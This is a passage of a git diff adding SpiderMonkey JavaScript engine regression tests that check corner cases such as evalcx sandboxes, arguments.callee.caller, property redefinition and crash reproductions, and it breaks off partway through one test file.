+ Function("evalcx(\"var p\",[])")();
+} catch (exc) {}
+
+try {
+ evalcx('var p;');
+} catch (exc) {}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-567152.js b/js/src/tests/js1_8_5/regress/regress-567152.js
new file mode 100644
index 000000000..02f7b2401
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-567152.js
@@ -0,0 +1,12 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Gary Kwong <gary@rumblingedge.com>,
+// Jason Orendorff <jorendorff@mozilla.com>
+
+function c(a) {
+ this.f = function () { a; };
+}
+c(0); // set both BRANDED and GENERIC bits in global scope
+Object.defineProperty(this, "f", {configurable: true, enumerable: true, value: 3});
+
+reportCompare(0, 0, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-569306.js b/js/src/tests/js1_8_5/regress/regress-569306.js
new file mode 100644
index 000000000..221782186
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-569306.js
@@ -0,0 +1,10 @@
+function f() {}
+var g = new Function();
+delete Function;
+function h() {}
+
+assertEq(f.__proto__, g.__proto__);
+assertEq(g.__proto__, h.__proto__);
+assertEq(false, "Function" in this);
+
+reportCompare("ok", "ok", "bug 569306");
diff --git a/js/src/tests/js1_8_5/regress/regress-571014.js b/js/src/tests/js1_8_5/regress/regress-571014.js
new file mode 100644
index 000000000..0f8a51c4d
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-571014.js
@@ -0,0 +1,32 @@
+
+var F, o;
+
+F = function () {};
+F.prototype = new ArrayBuffer(1);
+o = new F();
+try {
+ o.byteLength;
+} catch (ex) {
+ // o is not a platform object
+ assertEq(ex instanceof TypeError, true);
+}
+
+o = {};
+o.__proto__ = new Int32Array(1);
+try {
+ o.buffer.byteLength;
+} catch (ex) {
+ // o is not a platform object
+ assertEq(ex instanceof TypeError, true);
+}
+
+F = function () {};
+F.prototype = new Int32Array(1);
+o = new F();
+try {
+ o.slice(0, 1);
+ reportFailure("Expected an exception!");
+} catch (ex) {
+}
+
+reportCompare("ok", "ok", "bug 571014");
diff --git a/js/src/tests/js1_8_5/regress/regress-573875.js b/js/src/tests/js1_8_5/regress/regress-573875.js
new file mode 100644
index 000000000..fcfc00a9e
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-573875.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var o = {__iterator__:null, a:1, b:2, c:3}
+var expect = '__iterator__,a,b,c,';
+var actual = '';
+
+try {
+ for (var i in o)
+ actual += i + ',';
+} catch (e) {
+ actual = '' + e;
+ if (/invalid __iterator__ value/.test(actual) ||
+ /null is not a function/.test(actual)) {
+ expect = actual;
+ }
+}
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-577648-1.js b/js/src/tests/js1_8_5/regress/regress-577648-1.js
new file mode 100644
index 000000000..d40c7b0e4
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-577648-1.js
@@ -0,0 +1,87 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var count = 0;
+
+function testCaller(obj) {
+ switch (++count) {
+ case 1:
+ case 2:
+ /*
+ * The first two times, obj is objA. The first time, we reference
+ * arguments.callee.caller before obj.go, so the caller getter must
+ * force the joined function object in the stack frame to cross the
+ * method read barrier. The second time, obj.go has been cloned and
+ * it should match the new frame's callee from the get-go.
+ */
+ assertEq(obj, objA);
+ break;
+
+ case 3: {
+ assertEq(obj, objB);
+
+ /*
+ * Store another clone of the joined function object before obj.go has
+ * been read, but after it has been invoked via objB.go(objB).
+ *
+ * In this case, arguments.callee.caller must not lie and return what
+ * is currently stored in objB.go, since that function object (objA.go)
+ * was cloned earlier, when count was 1, and it is not the function
+ * object that was truly invoked.
+ *
+ * But since the invocation of objB.go(objB) did not clone go, and the
+ * following assignment overwrote the invoked value, leaving the only
+ * reference to the joined function object for go in the stack frame's
+ * callee (argv[-2]) member, the arguments.callee.caller reference must
+ * clone a function object for the callee, store it as the callee, and
+ * return it here.
+ *
+ * It won't equal obj.go, but (implementation detail) it should have
+ * the same proto as obj.go
+ */
+ obj.go = objA.go;
+
+ let caller = arguments.callee.caller;
+ let obj_go = obj.go;
+ return caller != obj_go && caller.__proto__ == obj_go.__proto__;
+ }
+
+ case 4: {
+ assertEq(obj, objC);
+
+ let save = obj.go;
+ delete obj.go;
+ return arguments.callee.caller == save;
+ }
+
+ case 5: {
+ assertEq(obj, objD);
+
+ let read = obj.go;
+ break;
+ }
+ }
+
+ return arguments.callee.caller == obj.go;
+}
+
+function make() {
+ return {
+ go: function(obj) {
+ return testCaller(obj);
+ }
+ };
+}
+
+var objA = make(),
+ objB = make(),
+ objC = make(),
+ objD = make();
+
+reportCompare(true, objA.go(objA), "1");
+reportCompare(true, objA.go(objA), "2");
+reportCompare(true, objB.go(objB), "3");
+reportCompare(true, objC.go(objC), "4");
+reportCompare(true, objD.go(objD), "5");
diff --git a/js/src/tests/js1_8_5/regress/regress-577648-2.js b/js/src/tests/js1_8_5/regress/regress-577648-2.js
new file mode 100644
index 000000000..d9ba91316
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-577648-2.js
@@ -0,0 +1,12 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+var o = { f: function() { return o.g(); }, g: function() { return arguments.callee.caller; } };
+var c = o.f();
+var i = 'f';
+var d = o[i]();
+
+reportCompare(true, c === o.f && d === o.f(), "");
diff --git a/js/src/tests/js1_8_5/regress/regress-583429.js b/js/src/tests/js1_8_5/regress/regress-583429.js
new file mode 100644
index 000000000..67e1b4195
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-583429.js
@@ -0,0 +1,7 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Andreas Gal <gal@uci.edu>
+
+assertEq(Object.getOwnPropertyNames(Array.prototype).indexOf("length") >= 0, true);
+
+reportCompare("ok", "ok", "bug 583429");
diff --git a/js/src/tests/js1_8_5/regress/regress-584355.js b/js/src/tests/js1_8_5/regress/regress-584355.js
new file mode 100644
index 000000000..4ddfe65d3
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-584355.js
@@ -0,0 +1,7 @@
+var actual;
+var expect = "function f() { ff (); }";
+function fun() {
+ (new Function ("function ff () { actual = '' + ff. caller; } function f () { ff (); } f ();")) ();
+}
+fun();
+reportCompare(expect, actual, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-584648.js b/js/src/tests/js1_8_5/regress/regress-584648.js
new file mode 100644
index 000000000..a1635ea51
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-584648.js
@@ -0,0 +1,16 @@
+// |reftest| skip
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Gary Kwong <gary@rumblingedge.com>
+// Jason Orendorff <jorendorff@mozilla.com>
+
+// on a non-global object
+var x = {};
+x.watch("p", function () { evalcx(''); });
+x.p = 0;
+
+// on the global
+watch("e", (function () { evalcx(''); }));
+e = function () {};
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-585257.js b/js/src/tests/js1_8_5/regress/regress-585257.js
new file mode 100644
index 000000000..7d076af23
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-585257.js
@@ -0,0 +1,7 @@
+// |reftest| skip
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Gary Kwong <gary@rumblingedge.com>
+
+Object.create(evalcx('')).__defineSetter__('toString', function(){});
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-586482-1.js b/js/src/tests/js1_8_5/regress/regress-586482-1.js
new file mode 100644
index 000000000..1cab74a3f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-586482-1.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = true;
+var actual;
+
+var checkCaller = function(me) {
+ var caller = arguments.callee.caller;
+ var callerIsMethod = (caller === me['doThing']);
+ actual = callerIsMethod;
+};
+
+var MyObj = function() {
+};
+
+MyObj.prototype.doThing = function() {
+ checkCaller(this);
+};
+
+(new MyObj()).doThing();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-586482-2.js b/js/src/tests/js1_8_5/regress/regress-586482-2.js
new file mode 100644
index 000000000..7eb44d020
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-586482-2.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = true;
+var actual;
+
+var checkCaller = function(me) {
+ var caller = arguments.callee.caller;
+ var callerIsMethod = (caller === me['doThing']);
+ actual = callerIsMethod;
+};
+
+Object.prototype.doThing = function() {
+ checkCaller(this);
+};
+
+["dense"].doThing();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-586482-3.js b/js/src/tests/js1_8_5/regress/regress-586482-3.js
new file mode 100644
index 000000000..92e9d5c84
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-586482-3.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = true;
+var actual;
+
+var checkCaller = function(me) {
+ var f = me['doThing'];
+ delete MyObj.prototype['doThing'];
+ var caller = arguments.callee.caller;
+ var callerIsMethod = (f === caller);
+ actual = callerIsMethod;
+};
+
+var MyObj = function() {
+};
+
+MyObj.prototype.doThing = function() {
+ checkCaller(this);
+};
+
+(new MyObj()).doThing();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-586482-4.js b/js/src/tests/js1_8_5/regress/regress-586482-4.js
new file mode 100644
index 000000000..34352bfe7
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-586482-4.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect, actual;
+
+var obj = {
+ f: function() {
+ expect = this.g;
+ actual = arguments.callee.caller;
+ print("Ok");
+ }
+};
+
+var obj2 = { __proto__: obj, g: function() { this.f(); }};
+
+var obj3 = { __proto__: obj2, h: function() { this.g(); }};
+
+var obj4 = { __proto__: obj3 }
+
+obj4.h();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-586482-5.js b/js/src/tests/js1_8_5/regress/regress-586482-5.js
new file mode 100644
index 000000000..3ddc14193
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-586482-5.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function check() {
+ obj2.__proto__ = null;
+ return arguments.callee.caller;
+}
+
+var obj = { f: function() { check(); }};
+
+var obj2 = { __proto__: obj };
+
+obj2.f();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-588339.js b/js/src/tests/js1_8_5/regress/regress-588339.js
new file mode 100644
index 000000000..b23f018f9
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-588339.js
@@ -0,0 +1,5 @@
+({})
+eval("{}")
+
+/* Watch for crash. */
+reportCompare(0, 0, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-591846.js b/js/src/tests/js1_8_5/regress/regress-591846.js
new file mode 100644
index 000000000..68b1feca3
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-591846.js
@@ -0,0 +1,64 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function check(obj, name, value, readonly) {
+ // Start with a non-configurable, writable data property implemented via
+ // js::PropertyOp getter and setter.
+ var pd = Object.getOwnPropertyDescriptor(obj, name);
+
+ assertEq(pd.configurable, false, "non-configurable " + name);
+ assertEq(pd.writable, !readonly, "writable " + name);
+
+ try {
+ // Do not allow a transition from js::PropertyOp to writable js::Value
+ // data property.
+ Object.defineProperty(obj, name, {writable: true});
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'");
+ }
+
+ if (!readonly) {
+ try {
+ // Do not allow the property denoted by name to become a true data
+ // property via a descriptor that preserves the native property's
+ // writable attribute.
+ Object.defineProperty(obj, name, {value: value});
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'");
+ }
+ }
+
+ try {
+ // Do not allow the property to be frozen at some bogus value.
+ Object.defineProperty(obj, name, {value: "bogus", writable: false});
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq('' + e, "TypeError: can't redefine non-configurable property '" + name + "'");
+ }
+
+ // Now make name non-writable.
+ Object.defineProperty(obj, name, {writable: false})
+
+ // Assert that the right getter result "stuck".
+ assertEq(obj[name], value);
+
+ // Test that it is operationally non-writable now.
+ obj[name] = "eek!";
+ assertEq(obj[name], value);
+}
+
+// Reset RegExp.leftContext to the empty string.
+/x/.test('x');
+
+var d = Object.getOwnPropertyDescriptor(RegExp, "leftContext");
+assertEq(d.set, undefined);
+assertEq(typeof d.get, "function");
+assertEq(d.enumerable, true);
+assertEq(d.configurable, false);
+assertEq(d.get.call(RegExp), "");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-591897.js b/js/src/tests/js1_8_5/regress/regress-591897.js
new file mode 100644
index 000000000..11e1f05e6
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-591897.js
@@ -0,0 +1,14 @@
+// |reftest| skip
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Gary Kwong <gary@rumblingedge.com>
+
+var expect = 42;
+var actual = (function({
+ x: [w]
+},
+x) {
+ with({}) {return w;}
+})({x:[42]});
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-592202-3.js b/js/src/tests/js1_8_5/regress/regress-592202-3.js
new file mode 100644
index 000000000..db44245b0
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-592202-3.js
@@ -0,0 +1,28 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+test();
+
+function test()
+{
+ var counter = 0;
+ function f(x,y) {
+ try
+ {
+ throw 42;
+ }
+ catch(e2)
+ {
+ foo(function(){ return x; }| "9.2" && 5 || counter && e);
+ ++counter;
+ }
+ }
+
+ f(2, 1);
+}
+
+function foo(bar) { return ""+bar; }
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-592202-4.js b/js/src/tests/js1_8_5/regress/regress-592202-4.js
new file mode 100644
index 000000000..742528056
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-592202-4.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function p() { }
+
+function test()
+{
+ var counter = 0;
+
+ function f(x) {
+ try
+ {
+ throw 42;
+ }
+ catch(e)
+ {
+ assertEq(counter, 0);
+ p(function(){x;});
+ counter = 1;
+ }
+ }
+
+ f(2);
+ assertEq(counter, 1);
+}
+
+test();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-592556-c35.js b/js/src/tests/js1_8_5/regress/regress-592556-c35.js
new file mode 100644
index 000000000..c2ceb4a32
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-592556-c35.js
@@ -0,0 +1,20 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jason Orendorff <jorendorff@mozilla.com>
+
+var obj = {a: 0, b: 1, c: 2};
+delete obj.b; // switch to dictionary mode
+Object.defineProperty(obj, 'g',
+ {get: function () { return -1; }, configurable: true});
+for (var i = 3; i < 20; i++)
+ obj['x' + i] = i; // get property table
+for (var i = 3; i < 20; i++)
+ delete obj['x' + i]; // add to freelist
+delete obj.g; // must update lastProp->freeslot, to avoid assertion
+
+// extra junk to try to hit the assertion, if freeslot is not updated
+gc();
+obj.d = 3;
+obj.e = 4;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-593256.js b/js/src/tests/js1_8_5/regress/regress-593256.js
new file mode 100644
index 000000000..fe24bee40
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-593256.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+eval("\
+ (function(){for(d in[0,Number]) {\
+ this.__defineGetter__(\"\",function(){}),\
+ [(this.__defineGetter__(\"x\",Math.pow))]\
+ }})\
+")()
+delete gc
+eval("\
+ (function() {\
+ for(e in this.__defineSetter__(\"x\",function(){})){}\
+ })\
+")()
+delete gc
+
+reportCompare(true, true, "don't crash");
diff --git a/js/src/tests/js1_8_5/regress/regress-595230-2.js b/js/src/tests/js1_8_5/regress/regress-595230-2.js
new file mode 100644
index 000000000..02499df76
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-595230-2.js
@@ -0,0 +1,10 @@
+// |reftest| fails-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Jason Orendorff <jorendorff@mozilla.com>
+
+var s = evalcx("");
+delete s.Object;
+evalcx("var x;", s);
+
+this.reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-595365-1.js b/js/src/tests/js1_8_5/regress/regress-595365-1.js
new file mode 100644
index 000000000..1010d8853
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-595365-1.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * NB: this test hardcodes the value of MAX_PROPERTY_TREE_HEIGHT.
+ */
+var i = 0;
+function add0to64(o) {
+ o.p00 = ++i;o.p01 = ++i;o.p02 = ++i;o.p03 = ++i;o.p04 = ++i;o.p05 = ++i;o.p06 = ++i;o.p07 = ++i;
+ o.p10 = ++i;o.p11 = ++i;o.p12 = ++i;o.p13 = ++i;o.p14 = ++i;o.p15 = ++i;o.p16 = ++i;o.p17 = ++i;
+ o.p20 = ++i;o.p21 = ++i;o.p22 = ++i;o.p23 = ++i;o.p24 = ++i;o.p25 = ++i;o.p26 = ++i;o.p27 = ++i;
+ o.p30 = ++i;o.p31 = ++i;o.p32 = ++i;o.p33 = ++i;o.p34 = ++i;o.p35 = ++i;o.p36 = ++i;o.p37 = ++i;
+ o.p40 = ++i;o.p41 = ++i;o.p42 = ++i;o.p43 = ++i;o.p44 = ++i;o.p45 = ++i;o.p46 = ++i;o.p47 = ++i;
+ o.p50 = ++i;o.p51 = ++i;o.p52 = ++i;o.p53 = ++i;o.p54 = ++i;o.p55 = ++i;o.p56 = ++i;o.p57 = ++i;
+ o.p60 = ++i;o.p61 = ++i;o.p62 = ++i;o.p63 = ++i;o.p64 = ++i;o.p65 = ++i;o.p66 = ++i;o.p67 = ++i;
+ o.p70 = ++i;o.p71 = ++i;o.p72 = ++i;o.p73 = ++i;o.p74 = ++i;o.p75 = ++i;o.p76 = ++i;o.p77 = ++i;
+ o.p100 = ++i;
+ return o;
+}
+function add65th(o) {
+ o.p101 = ++i;
+}
+var o = add0to64({});
+add65th(o);
+delete o.p101;
+add65th(o);
+
+reportCompare(true, true, "don't crash");
diff --git a/js/src/tests/js1_8_5/regress/regress-596103.js b/js/src/tests/js1_8_5/regress/regress-596103.js
new file mode 100644
index 000000000..2b1910096
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-596103.js
@@ -0,0 +1,13 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Gary Kwong <gary@rumblingedge.com>, Jesse Ruderman <jruderman@gmail.com>
+
+for (var u = 0; u < 3; ++u) {
+ var y = [];
+ Object.create(y);
+ gc();
+ y.t = 3;
+ gc();
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-596805-1.js b/js/src/tests/js1_8_5/regress/regress-596805-1.js
new file mode 100644
index 000000000..c008beb38
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-596805-1.js
@@ -0,0 +1,14 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var f = function(){};
+for (var y in f);
+f.j = 0;
+Object.defineProperty(f, "k", ({configurable: true}));
+delete f.j;
+Object.defineProperty(f, "k", ({get: function() {}}));
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-596805-2.js b/js/src/tests/js1_8_5/regress/regress-596805-2.js
new file mode 100644
index 000000000..52bf4fc6c
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-596805-2.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+for each(let c in [0, 0, 0, 0, 0]) {
+ try { (function() {
+ this.c = this;
+ this.e = arguments;
+ Object.defineProperty(this, "d", {
+ get: Math.pow,
+ configurable: true
+ });
+ delete this.e;
+ delete this.c;
+ Object.defineProperty(this, "d", {
+ writable: true
+ });
+ if (Math.tan( - 1)) {
+ Object.defineProperty(this, {});
+ }
+ } (c));
+ } catch(e) {}
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-597945-1.js b/js/src/tests/js1_8_5/regress/regress-597945-1.js
new file mode 100644
index 000000000..3ecf569e6
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-597945-1.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var arguments;
+
+function b(foo) {
+ delete foo.d
+ delete foo.w
+ foo.d = true
+ foo.w = Object
+ delete Object.defineProperty(foo, "d", ({
+ set: Math.w
+ })); {}
+}
+for each(e in [arguments, arguments]) {
+ try {
+ b(e)('')
+ } catch (e) {}
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-597945-2.js b/js/src/tests/js1_8_5/regress/regress-597945-2.js
new file mode 100644
index 000000000..ca5b2e162
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-597945-2.js
@@ -0,0 +1,13 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = {d: true, w: true};
+Object.defineProperty(a, "d", {set: undefined});
+delete a.d;
+delete a.w;
+a.d = true;
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-598176.js b/js/src/tests/js1_8_5/regress/regress-598176.js
new file mode 100644
index 000000000..754edf239
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-598176.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function make() {
+ var r = {};
+ r.desc = {get: function() {}};
+ r.a = Object.defineProperty({}, "prop", r.desc);
+ r.info = Object.getOwnPropertyDescriptor(r.a, "prop");
+ return r;
+}
+
+r1 = make();
+assertEq(r1.desc.get, r1.info.get);
+
+// Distinct evaluations of an object literal make distinct methods.
+r2 = make();
+assertEq(r1.desc.get === r2.desc.get, false);
+
+r1.info.get.foo = 42;
+
+assertEq(r1.desc.get.hasOwnProperty('foo'), !r2.desc.get.hasOwnProperty('foo'));
+assertEq(r1.info.get.hasOwnProperty('foo'), !r2.info.get.hasOwnProperty('foo'));
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-600067.js b/js/src/tests/js1_8_5/regress/regress-600067.js
new file mode 100644
index 000000000..4bcf57406
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-600067.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * NB: this test hardcodes for the value of PropertyTable::HASH_THRESHOLD (6).
+ */
+
+function s(e) {
+ var a, b, c, d;
+ function e() { }
+}
+
+reportCompare(0, 0, "don't crash");
diff --git a/js/src/tests/js1_8_5/regress/regress-601399.js b/js/src/tests/js1_8_5/regress/regress-601399.js
new file mode 100644
index 000000000..7f727c697
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-601399.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ *
+ * Test courtesy of Olov Lassus <olov.lassus@gmail.com>.
+ */
+
+function keys(o) {
+ var a = [];
+ for (var key in o) {
+ a.push(key);
+ }
+ return a;
+}
+
+var obj = {
+ 'a': function() {}, 'b': function() {}, 'c': function() {}
+};
+var orig_order = keys(obj).toString();
+var tmp = obj["b"];
+var read_order = keys(obj).toString();
+
+reportCompare(orig_order, read_order,
+ "property enumeration order should not change after reading a method value");
diff --git a/js/src/tests/js1_8_5/regress/regress-602621.js b/js/src/tests/js1_8_5/regress/regress-602621.js
new file mode 100644
index 000000000..bf9eaffec
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-602621.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function test(arg) {
+ eval(arg);
+ {
+ function arguments() { return 1; }
+ }
+ return arguments;
+}
+
+reportCompare("function", typeof test("42"), "function sub-statement must override arguments");
diff --git a/js/src/tests/js1_8_5/regress/regress-607799.js b/js/src/tests/js1_8_5/regress/regress-607799.js
new file mode 100644
index 000000000..f1111dd67
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-607799.js
@@ -0,0 +1,2 @@
+// |reftest| fails-if(!xulRuntime.shell)
+reportCompare(typeof(evalcx("/x/")), "object")
diff --git a/js/src/tests/js1_8_5/regress/regress-607863.js b/js/src/tests/js1_8_5/regress/regress-607863.js
new file mode 100644
index 000000000..75d9ae09f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-607863.js
@@ -0,0 +1,14 @@
+// |reftest| fails-if(!xulRuntime.shell)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var sandbox = evalcx('');
+var foreign = evalcx('({ get f() this, set x(v) { result = this } })', sandbox);
+var local = Object.create(foreign);
+
+reportCompare(local, local.f, "this should be set correctly in getters");
+local.x = 42;
+reportCompare(local, sandbox.result, "this should be set correctly in setters");
diff --git a/js/src/tests/js1_8_5/regress/regress-609617.js b/js/src/tests/js1_8_5/regress/regress-609617.js
new file mode 100644
index 000000000..f588153d4
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-609617.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var actual;
+var expect = "pass";
+
+var x = "fail";
+function f() {
+ var x = "pass";
+ delete(eval("actual = x"));
+}
+f();
+assertEq(actual, expect);
+
+function g() { return 1 }
+function h() { function g() { throw 2; } eval('g()')++; }
+
+try {
+ h();
+ assertEq(0, -1);
+} catch (e) {
+ assertEq(e, 2);
+}
+
+var lhs_prefix = ["", "++", "--", "", "", "[", "[y, " ];
+var lhs_suffix = [" = 'no'", "", "", "++", "--", ", y] = [3, 4]", "] = [5, 6]"];
+
+for (var i = 0; i < lhs_prefix.length; i++) {
+ try {
+ eval(lhs_prefix[i] + "eval('x')" + lhs_suffix[i]);
+ assertEq(i, -2);
+ } catch (e) {
+ if (/\[/.test(lhs_prefix[i])) {
+ assertEq(e.message, "invalid destructuring target");
+ } else {
+ /*
